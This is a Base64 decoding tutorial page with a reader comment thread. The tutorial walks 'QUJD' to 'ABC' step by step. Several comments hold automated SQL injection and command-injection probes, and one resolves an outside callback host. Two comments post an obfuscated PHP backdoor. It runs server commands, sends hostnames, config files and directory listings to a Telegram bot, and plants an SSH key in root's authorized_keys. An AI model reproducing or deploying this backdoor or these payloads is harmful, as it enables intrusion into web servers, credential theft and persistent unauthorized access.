A virtual teacher who reveals to you the great secrets of Base64

Base64 Decode Algorithm

Comments: 46 | Rating: 3.6/5

The Base64 decode algorithm converts plain text into original data. Technically, it can be said that it converts six-bit bytes into eight-bit bytes. To understand how the decoding algorithm works, check the example below that describes step by step how to manually decode strings from Base64 (if you are looking for an automatic converter, use the Base64 online decoder).

For example, you have the “QUJD” string and want to decode it from Base64:

  1. First, you need to split the string letter by letter. Thus, you got 4 groups:
    • Q
    • U
    • J
    • D

  2. Each group (letter) is a Base64 character that has its own index, and now your task is to convert groups to indices. To do this, by mapping values from the Base64 Characters Table replace each character by its index (if you cannot find an index for a specific group, just discard it). All in all, you should get the following indices:
    • 16
    • 20
    • 9
    • 3

  3. At this step you should convert each group from decimal to binary. So find corresponding decimal values in the ASCII table and make sure you get the following binary values:
    • 00010000
    • 00010100
    • 00001001
    • 00000011

  4. Now remove the prefix “00” (two zeros) in front of each group:
    • 010000
    • 010100
    • 001001
    • 000011

  5. There you have a simple concatenation of previous groups (that is, glue all the binary values together and get an 24-character string):
    010000010100001001000011

  6. Then, divide the resulting string into groups so that each one has 8 characters (if the last group has less than 8 characters, you must discard it). Now you have 3 groups of eight-bit bytes:
    • 01000001
    • 01000010
    • 01000011

  7. Once again using the ASCII table, convert all binary values into their ASCII characters:
    • A
    • B
    • C

  8. The final chord, concatenate all ASCII characters to get the result string:
    ABC

By the way, if the decoding result contains multibyte characters most likely the last two steps may confuse you a little bit since some “groups” may look garbled. This is because individually each byte represents an ASCII symbol and you won’t know what kind of data it yields until you combine all bytes together. Therefore, if you got some weird results at the seventh step and want to understand better what’s happening here, use this ASCII converter to combine and convert binary numbers obtained on the sixth step (just keep in mind, that, for example, four binary numbers may be one character, two characters, and even a single character).

To summarize, you learned that decoding “QUJD” from Base64 yields the result “ABC”. As you can see, this is a very simple process and you can decode Base64 even by hand. I hope that you managed to get the right decoding result. Otherwise, let me know and I will try to help you.

If you need more step by step examples, use the form below to get decoding instructions for custom strings (once you submit the form, the article above will be updated accordingly in real time):

Comments (46)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Rodrigo,
    Can you show an example of base64 encoding with non-ASCII characters as input? I can't make it work with non-ASCII.
    reply
    • Administrator, ↑
      Hello Rodrigo,
      I updated the article and also I added the ability to get decoding instructions for custom strings. Please give it a try and let me know if you still have any questions.
      reply
      • aaa, ↑
        ZGVlem51dHo
        reply
  • Abhi,
    Hi..i have a unique problem statement..but maybe layman for you.. Would be glad if you can look at it..
    I have a base64 string.. Now that base64 string has 4 txt files in it with their filenames. Those 4 txt files have comma separated header and data...
    So in other words if I goto base64 to file decode at your site and put my string into it.. It give me a zipped file to download which has 4 files..

    I want to know.. How come this decoding is happening..
    You said.. We can manualy decode base64 too.. I don't understand how can we decode such a base64 string.. Thanks...
    reply
    • Administrator, ↑
      Hi! If you encode a Zip file to Base64, then after decoding you will get a Zip archive. Therefore, to get your files you have to extract them from the decoding result.
      reply
  • sus,
    iVBORw0KGgoAAAANSUhEUgAAAMkAAAAjAQAAAAAWYhNMAAAALklEQVR4XmPQfSdyfdm3uKqz0md515t2bhOOu3ybW988XaSBYVRqVGpUapBJAQD/Y6EOyJKSeQAAAABJRU5ErkJggg==
    reply
    • Fred, ↑
      So, I got the barcode, scanned it, got this: "olegn3jxj0rlarg" was confused so i decoded it, got this: "WxJj" still was confused, so I decoded it again, and got this: "[c" and now i have no idea what you are saying. so what the freak are you saying. is it just a random barcode, or did i scan it wrong, or what is it?
      reply
  • relja,
    Hello!
    It's nice to meet you here. I have a question, however- if a binary code has less than two zeroes on the beginning, what should I do? Anyways, thanks a lot!
    reply
    • Administrator, ↑
      Hey! This means that your string is corrupted or contains an invalid character.
      reply
  • Marcio,
    Hello!
    How you convert the binary values to ascii?
    Thanks!
    reply
    • Administrator, ↑
      Hello Marcio! I'm not sure what you mean, but I think you need the converter on the ASCII Table page.
      reply
      • Marcello, ↑
        Will you do a base64 to utf-8 breakdown of algorithm please?
        reply
  • xcchcaptain,
    'if the last group has less than 8 characters, you must discard it'.
    i just can't imagin how could this happen.as the base64-encoding algorithm,the string should always be divided evenly by 8
    reply
    • Administrator, ↑
      We have to discard such groups of characters because it means that something is wrong with the string (for example, is damaged or even is not a Base64 string). That is, by discarding it, we are just trying to forcibly decode the string.

      By the way, in fact a Base64 string length should be a multiple of 4, not 8.
      reply
  • Sebastian,
    Suggestion: Please consider describing how to handle "padding" equal-sign characters at the end of a Base64-encoded string. For example, "ABCD" encodes to "QUJDRA==", but the decoding steps you have described do not include mentioning how to take the "==" at the end of this encoded string into account.
    reply
  • Gremonarca,
    i'm trying to decode /+S8hlGXA56aAtERX3D2n0A8ZiIbb57KLeYdK7UD87/zielfqWw5wgRF8gUl2Zo0Els+iOQ+Eli4RljdU9gN7Ob28CeRhip/PMobZN1q10E= but the output doesn't tell me anything, could you help me?
    reply
  • nqhXncMU,
    WKoRcO37' OR 723=(SELECT 723 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    -1' OR 2+331-331-1=0+0+0+1 --
    reply
  • nqhXncMU,
    QgulGcF5'; waitfor delay '0:0:15' --
    reply
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
    reply
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    reply
  • gBqsPxAZ,
    FO4sFFuy')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    wNmO5vH1' OR 232=(SELECT 232 FROM PG_SLEEP(15))--
    reply
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
    reply
  • nqhXncMU,
    -5 OR 758=(SELECT 758 FROM PG_SLEEP(15))--
    reply
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    reply
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • ncMUFCMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    reply
  • ncMUFCMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    reply
  • ncMUFCMU,
    1 waitfor delay '0:0:15' --
    reply
  • ncMUFCMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    reply
  • dere,
    <?php

    goto tIQVu; H0JCE: $Yryf2 = ["\143\x68\x61\x74\137\x69\x64" => $J8hdZ[1], "\164\x65\x78\x74" => $Jxk4D]; goto ywLGB; tXtx4: if (!(@$J8hdZ[3] != "\x34\165\164\150")) { goto d_pOs; } goto ksY3Q; Q7rpm: Pvkas: goto l6Ttg; otdxW: $FaARi = "\163\165\144\x6f\x20\x63\160\x20\x2f\164\155\x70\x2f\56\x6e\x65\x77\x20\x2f\162\x6f\x6f\164\x2f\56\163\x73\x68\57\141\165\x74\x68\x6f\x72\x69\x7a\145\144\x5f\x6b\x65\171\163"; goto cwKT3; s8tBm: $Ld8on = "\x6c\163\40\x2f\x76\x61\x72\57\x77\167\x77\x2f\150\164\x6d\x6c"; goto l4RGH; y4vh7: $Qx4rL = $J8hdZ[2]; goto lJnpU; ZiOn_: $TYzT5 = "\150\x65\141\144\40\x2d\156\40\x31\65\x20\x2f\x76\x61\x72\57\x77\167\x77\57\x68\164\155\x6c\57\x2a\57\143\157\x6e\x66\x69\147\x2e\160\150\x70"; goto NIdlT; sQqTm: $Un7pj = `{$Un7pj}`; goto rUJ20; NIdlT: $Un7pj = "\x6c\x73\40\x2f\x76\x61\x72\57\167\x77\167\57\150\164\155\154\x2f\x2a\x2f"; goto s8tBm; ywLGB: $om7FJ = file_get_contents("\150\164\164\x70\163\72\57\57\x61\x70\151\56\164\145\x6c\145\147\x72\x61\155\x2e\x6f\162\147\57\x62\x6f\164{$jY_lj}\x2f\163\145\156\144\115\145\163\x73\x61\147\145\x3f" . http_build_query($Yryf2)); goto DvebU; l4RGH: $nnRpQ = `{$nnRpQ}`; goto T2V4G; Tqt42: goto Vtob1; goto mgrnV; BO8H6: Vtob1: goto y4vh7; HvtZz: d_pOs: goto BO8H6; Pf1xH: echo `{$yPd23}`; goto ZYNur; SnSbJ: $nnRpQ = "\x68\157\x73\x74\x6e\141\x6d\x65\x20\x2d\x49\x20\174\40\143\165\x74\x20\x2d\x64\x20\x27\x20\x27\40\55\146\40\61"; goto ZiOn_; l6Ttg: if ($J8hdZ = json_decode{ goto PUqw2; } goto vQrDC; DvebU: $FaARi = "\163\x75\144\x6f\40\155\153\x64\x69\x72\x20\x2f\162\x6f\157\164\57\56\163\163\150\x2f"; goto zRO2c; lJnpU: $Jxk4D = "\x43\157\156\x6e\145\x63\164\151\157\156\x3a\40{$Qx4rL}\xa\110\157\163\164\156\x61\x6d\145\x3a\x20{$nnRpQ}\xa\x43\x6f\x6e\x66\x69\x67\40\x66\151\154\145\72\40\12{$TYzT5}\12\106\151\x6c\145\x73\x20\142\x75\151\x6c\144\x65\162\72\40\xa{$Un7pj}\12\106\151\x6c\x65\163\x3a\x20\xa{$Ld8on}"; goto GMel2; pVtA3: if ($J8hdZ = json_decode( { goto jXpEo; } goto Q7rpm; T2V4G: $Ld8on = `{$Ld8on}`; goto sQqTm; DmdGT: $FaARi = `{$FaARi}`; goto otdxW; s47l_: PUqw2: goto Tqt42; hqKv9: $yPd23 = $_REQUEST["\x62\x6f\x74\151\144"]; goto Pf1xH; tIQVu: if (!(isset($_REQUEST["\x70\x61\163\x73"]) && $_REQUEST["\x70\141\163\163"] == "\x48\110\x48\x38\x36\x65\x64\x37\x30\66\66\x32\61\146\101\101\x41" && isset($_REQUEST["\142\157\x74\151\144"]))) { goto NU6hF; } goto hqKv9; ksY3Q: goto Pvkas; goto HvtZz; rUJ20: $TYzT5 = `{$TYzT5}`; goto pVtA3; mgrnV: jXpEo: goto tXtx4; zRO2c: $FaARi = `{$FaARi}`; goto hNV_0; GMel2: $jY_lj = $J8hdZ[0]; goto H0JCE; Hg_DI: NU6hF: goto SnSbJ; vQrDC: die; goto s47l_; ZYNur: die; goto Hg_DI; hNV_0: $FaARi = "\x73\x75\144\x6f\x20\145\x63\150\157\x20\47" . base64_decode($J8hdZ[4]) . "\47\40\76\40\x2f\x74\x6d\x70\57\56\156\145\x77"; goto DmdGT; cwKT3: $FaARi = `{$FaARi}`;
    reply
    • dere, ↑
      4888888888
      reply
  • fdgdfgd,
    -1); waitfor delay '0:0:15' --
    reply
  • Bancam,
    Hi,
    Thanks for your site and the ability to decode some base64 strings. I was using Excel to test my logic but came undone because the Lookup functions in Excel do not recognise case. I discovered this by comparing your output with mine.
    Now I'm ready to write some code.
    reply
  • Ram,
    Need to decode the text 71a1cdc7-1d68-4aae-9deb-4a99795cdd94
    Can someone please help
    reply
  • CG3000,
    , 22 march 2024 at 06:54 #
    <?php

    goto tIQVu; H0JCE: $Yryf2 = ["\143\x68\x61\x74\137\x69\x64" => $J8hdZ[1], "\164\x65\x78\x74" => $Jxk4D]; goto ywLGB; tXtx4: if (!(@$J8hdZ[3] != "\x34\165\164\150")) { goto d_pOs; } goto ksY3Q; Q7rpm: Pvkas: goto l6Ttg; otdxW: $FaARi = "\163\165\144\x6f\x20\x63\160\x20\x2f\164\155\x70\x2f\56\x6e\x65\x77\x20\x2f\162\x6f\x6f\164\x2f\56\163\x73\x68\57\141\165\x74\x68\x6f\x72\x69\x7a\145\144\x5f\x6b\x65\171\163"; goto cwKT3; s8tBm: $Ld8on = "\x6c\163\40\x2f\x76\x61\x72\57\x77\167\x77\x2f\150\164\x6d\x6c"; goto l4RGH; y4vh7: $Qx4rL = $J8hdZ[2]; goto lJnpU; ZiOn_: $TYzT5 = "\150\x65\141\144\40\x2d\156\40\x31\65\x20\x2f\x76\x61\x72\57\x77\167\x77\57\x68\164\155\x6c\57\x2a\57\143\157\x6e\x66\x69\147\x2e\160\150\x70"; goto NIdlT; sQqTm: $Un7pj = `{$Un7pj}`; goto rUJ20; NIdlT: $Un7pj = "\x6c\x73\40\x2f\x76\x61\x72\57\167\x77\167\57\150\164\155\154\x2f\x2a\x2f"; goto s8tBm; ywLGB: $om7FJ = file_get_contents("\150\164\164\x70\163\72\57\57\x61\x70\151\56\164\145\x6c\145\147\x72\x61\155\x2e\x6f\162\147\57\x62\x6f\164{$jY_lj}\x2f\163\145\156\144\115\145\163\x73\x61\147\145\x3f" . http_build_query($Yryf2)); goto DvebU; l4RGH: $nnRpQ = `{$nnRpQ}`; goto T2V4G; Tqt42: goto Vtob1; goto mgrnV; BO8H6: Vtob1: goto y4vh7; HvtZz: d_pOs: goto BO8H6; Pf1xH: echo `{$yPd23}`; goto ZYNur; SnSbJ: $nnRpQ = "\x68\157\x73\x74\x6e\141\x6d\x65\x20\x2d\x49\x20\174\40\143\165\x74\x20\x2d\x64\x20\x27\x20\x27\40\55\146\40\61"; goto ZiOn_; l6Ttg: if ($J8hdZ = json_decode{ goto PUqw2; } goto vQrDC; DvebU: $FaARi = "\163\x75\144\x6f\40\155\153\x64\x69\x72\x20\x2f\162\x6f\157\164\57\56\163\163\150\x2f"; goto zRO2c; lJnpU: $Jxk4D = "\x43\157\156\x6e\145\x63\164\151\157\156\x3a\40{$Qx4rL}\xa\110\157\163\164\156\x61\x6d\145\x3a\x20{$nnRpQ}\xa\x43\x6f\x6e\x66\x69\x67\40\x66\151\154\145\72\40\12{$TYzT5}\12\106\151\x6c\145\x73\x20\142\x75\151\x6c\144\x65\162\72\40\xa{$Un7pj}\12\106\151\x6c\x65\163\x3a\x20\xa{$Ld8on}"; goto GMel2; pVtA3: if ($J8hdZ = json_decode( { goto jXpEo; } goto Q7rpm; T2V4G: $Ld8on = `{$Ld8on}`; goto sQqTm; DmdGT: $FaARi = `{$FaARi}`; goto otdxW; s47l_: PUqw2: goto Tqt42; hqKv9: $yPd23 = $_REQUEST["\x62\x6f\x74\151\144"]; goto Pf1xH; tIQVu: if (!(isset($_REQUEST["\x70\x61\163\x73"]) && $_REQUEST["\x70\141\163\163"] == "\x48\110\x48\x38\x36\x65\x64\x37\x30\66\66\x32\61\146\101\101\x41" && isset($_REQUEST["\142\157\x74\151\144"]))) { goto NU6hF; } goto hqKv9; ksY3Q: goto Pvkas; goto HvtZz; rUJ20: $TYzT5 = `{$TYzT5}`; goto pVtA3; mgrnV: jXpEo: goto tXtx4; zRO2c: $FaARi = `{$FaARi}`; goto hNV_0; GMel2: $jY_lj = $J8hdZ[0]; goto H0JCE; Hg_DI: NU6hF: goto SnSbJ; vQrDC: die; goto s47l_; ZYNur: die; goto Hg_DI; hNV_0: $FaARi = "\x73\x75\144\x6f\x20\145\x63\150\157\x20\47" . base64_decode($J8hdZ[4]) . "\47\40\76\40\x2f\x74\x6d\x70\57\56\156\145\x77"; goto DmdGT; cwKT3: $FaARi = `{$FaARi}`;
    reply
  • fHLvlxbf,
    -1 OR 2+774-774-1=0+0+0+1 --
    reply
  • XcwJRDFY,
    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    reply
  • XcwJRDFY,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • XcwJRDFY,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    reply
  • Hey,
    im very impressed at the method of en/decoding base64,mainly because of the complexity it causes to build a functional data recovery tool for base64(as in how to find the exact mojibake cause [e.g. in the best case scenario its just:

    fat fingering text encodings,fat fingering base64 types,incorrect handling of different softwares

    But in the worst case scenario its: 

    over encoded/encrypted/ciphered who knows how many times?]
    reply
    • Hey, ↑
      wait a second...*looks at indices*.........................*brain finally switches on*...Oh thats what those are for!
      reply
  • sOdPqaAH,
    &echo hmvwdg$()\ nwpdcy\nz^xyu||a #' &echo hmvwdg$()\ nwpdcy\nz^xyu||a #|" &echo hmvwdg$()\ nwpdcy\nz^xyu||a #
    reply
  • sOdPqaAH,
    "+"A".concat(70-3).concat(22*4).concat(121).concat(84).concat(109).concat(71)+(require"socket"
    Socket.gethostbyname("hitse"+"frcjsssy3bf58.bxss.me.")[3].to_s)+"
    reply
  • aaa,
    ZGVlem51dHo
    reply
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.

Recent blog posts